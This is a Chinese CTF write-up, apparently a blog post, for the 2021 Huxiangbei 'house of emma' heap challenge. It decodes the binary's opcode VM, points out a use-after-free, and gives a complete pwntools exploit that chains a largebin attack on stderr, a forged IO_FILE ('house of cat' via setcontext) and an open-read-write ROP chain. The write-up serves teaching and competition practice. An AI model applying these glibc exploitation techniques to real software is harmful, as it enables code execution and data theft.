2021湖湘杯house of emma

前言

先贴出博文https://www.anquanke.com/post/id/260614
wjh大佬提出的几条利用链,用虚表偏移的思想,跳转到_IO_cookie_file这类函数,要绕过位于TLS上的PTR_DEMANGLE (指针保护),才能任意函数指针调用。但如今其他大佬提出如house of apple,house of cat等更方便的利用链,这题我就用house of cat的利用链来解

例题:2021湖湘杯house of emma

程序分析

VM分析:

保护全开,沙盒禁用了execve

main函数中有个无限循环,提示我们输入opcode,(可以想到是个vm类型的了)
读我们的指令到s后会到sub_1288这个函数,跟进
请添加图片描述
跳到0x128a
请添加图片描述

请添加图片描述
请添加图片描述

mov byte ptr [rbp-1], 0 ;就是把rbp-1单个字节赋0
movzx eax, byte ptr [rax] ;就是rax单字节零扩展,赋到eax
and eax, 0Fh ;取一位
mov [rbp-1], al ;这里的al就是等于上面取的那一位
cmp eax, 10h ;eax与0x10比较

请添加图片描述
unk_203c长度0x44,可以switch 0x11种
在这里插入图片描述
如何确定opcode?:
如果选add命令:
在地址0x13DD
0x13DD-0x203C=0xFF FF F3 A1,rax=1,所以opcode是\x01
选delete命令:
0x1404-0x203C=0xFF FF F3 C8 ,rax=2,所以opcode是\x02
选show命令:
0x1428-0x203C=0xFF FF F3 EC,rax=3,opcode是\x03
选edit命令:
0x144C-0x203C=0xFF FF F4 10,rax=4,opcode是\x04

0x13DD地址前面的一些基本的运算指令switch根本选不到,只能选到与堆操作相关的指令

.text:00000000000013DD ; ---------------------------------------------------------------------------
.text:00000000000013DD                 mov     rax, [rbp-18h]
.text:00000000000013E1                 mov     rdi, rax
.text:00000000000013E4                 mov     eax, 0
.text:00000000000013E9                 call    add
.text:00000000000013EE                 add     qword ptr [rbp-18h], 4
.text:00000000000013F3                 lea     rdi, aMallocDone ; "Malloc Done"
.text:00000000000013FA                 call    _puts
.text:00000000000013FF                 jmp     loc_1495
.text:0000000000001404 ; ---------------------------------------------------------------------------
.text:0000000000001404                 mov     rax, [rbp-18h]
.text:0000000000001408                 mov     rdi, rax
.text:000000000000140B                 mov     eax, 0
.text:0000000000001410                 call    delete
.text:0000000000001415                 add     qword ptr [rbp-18h], 2
.text:000000000000141A                 lea     rdi, aDelDone   ; "Del Done"
.text:0000000000001421                 call    _puts
.text:0000000000001426                 jmp     short loc_1495
.text:0000000000001428 ; ---------------------------------------------------------------------------
.text:0000000000001428                 mov     rax, [rbp-18h]
.text:000000000000142C                 mov     rdi, rax
.text:000000000000142F                 mov     eax, 0
.text:0000000000001434                 call    show
.text:0000000000001439                 add     qword ptr [rbp-18h], 2
.text:000000000000143E                 lea     rdi, aShowDone  ; "Show Done"
.text:0000000000001445                 call    _puts
.text:000000000000144A                 jmp     short loc_1495
.text:000000000000144C ; ---------------------------------------------------------------------------
.text:000000000000144C                 mov     rax, [rbp-18h]
.text:0000000000001450                 mov     rdi, rax
.text:0000000000001453                 mov     eax, 0
.text:0000000000001458                 call    edit
.text:000000000000145D                 mov     rax, [rbp-18h]
.text:0000000000001461                 add     rax, 2
.text:0000000000001465                 movzx   eax, word ptr [rax]
.text:0000000000001468                 movzx   eax, ax
.text:000000000000146B                 add     rax, 4
.text:000000000000146F                 add     [rbp-18h], rax
.text:0000000000001473                 lea     rdi, aEditDone  ; "Edit Done"
.text:000000000000147A                 call    _puts
.text:0000000000001481 ; ---------------------------------------------------------------------------
.text:0000000000001481                 mov     eax, 0
.text:0000000000001486                 jmp     short locret_149A

接下来看add函数
请添加图片描述
可以得出add的opcode= \x01+p8(idx)+p16(size)
同理依次得出
delete的opcode= \x02+p8(idx)
show的opcode=\x03+p8(idx)
edit的opcode=\x04+p8(idx)+p16(size)+buf

我们输入完opcode还要选个功能退出这个函数,在地址0x1481,不然会一直读opcode
选项\x5的话
0xFF FF F4 35=0x1471-0x203c
对应的地址是0x1471,虽然不是我们要的地址0x1481,但因为在其前面勉强可以,
选项\x06的话就在它地址后面就不行了

所以退出函数opcode=\x05即可

功能分析:

add只用calloc,最多idx大小小于0x10,size限制为[0x410,0x500]
请添加图片描述
存在uaf漏洞
请添加图片描述
常规的show

常规的edit
请添加图片描述

攻击步骤:

1.largebin attack改stderr为堆地址
2.堆地址上写入fake_IO,在其他堆上写入orw语句
3.uaf改top chunk size,触发malloc_assert,触发house of cat 利用链,跳转到setconext,执行orw读取flag

exp:

from pwn import * 
local_file  = './pwn'
local_libc  = './libc.so.6'
remote_libc = './libc.so.6'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25904 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4,b'\0'))
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
all_payload=b''
def add(idx,size):
    global all_payload
    all_payload +=p8(1)+p8(idx)+p16(size)

def delete(idx):
    global all_payload
    all_payload +=b'\x02'+p8(idx)
    
def show(idx):
    global all_payload
    all_payload +=b'\x03'+p8(idx)

def edit(idx,buf):
    global all_payload
    all_payload +=b'\x04'+p8(idx)+p16(len(buf))+buf

def run():
    global all_payload
    ru('Pls input the opcode\n')
    all_payload+=b'\x05'
    se(all_payload)
    all_payload=b''
#--------leak_libc,leak_heap-----------
add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
delete(2)
show(2)
run()
libc_base=uu64(ru('\x7f')[-6:])-0x1f2cc0
info('libc_base',libc_base)
edit(2,b'a'*0x10)
show(2)
run()
ru('a'*0x10)
heap_base=uu64(rc(6))-0x2ae0
info('heap_base',heap_base)
stderr  = libc_base + libc.sym['stderr']
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rax = libc_base + next(libc.search(asm('pop rax\nret')))
syscall = libc_base + next(libc.search(asm('syscall\nret')))
pop_rdx_r12=libc_base+0x1066e1
setcontext=libc_base+libc.sym['setcontext']
ret=libc_base+0x2d446
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
#-------------largebin_attack stderr-------------------------
edit(2,p64(libc_base+0x1f2cc0)*2)
delete(0)
edit(2,p64(libc_base+0x1f2cc0)*2+p64(heap_base+0x2ae0)+p64(stderr-0x20))
add(4,0x430)
edit(2,p64(heap_base+0x22a0)+p64(libc_base+0x1f30b0)+p64(heap_base+0x22a0)*2)
edit(0,p64(libc_base+0x1f30b0)+p64(heap_base+0x2ae0)*3)
add(2,0x420)
add(0,0x410)
run()
#------------------------IO_file,orw-------------------------
fake_io_addr=heap_base+0x22a0
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x1f4020+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x3780)+p64(ret)

edit(0,payload1)
add(5,0x410)
flag_addr=0x3ba0+heap_base
orw=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,3,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
edit(5,orw)
#---------------uaf_change_top_chunk---------------
add(6,0x430)
delete(6)
add(7,0x410)
run()
edit(6,b'flag\x00\x00\x00\x00'+b'\x00'*0x408+p64(0)+p64(0x300))
add(8,0x450)
#gdb.attach(r,'b*_IO_wfile_seekoff')
run()
r.interactive()

请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值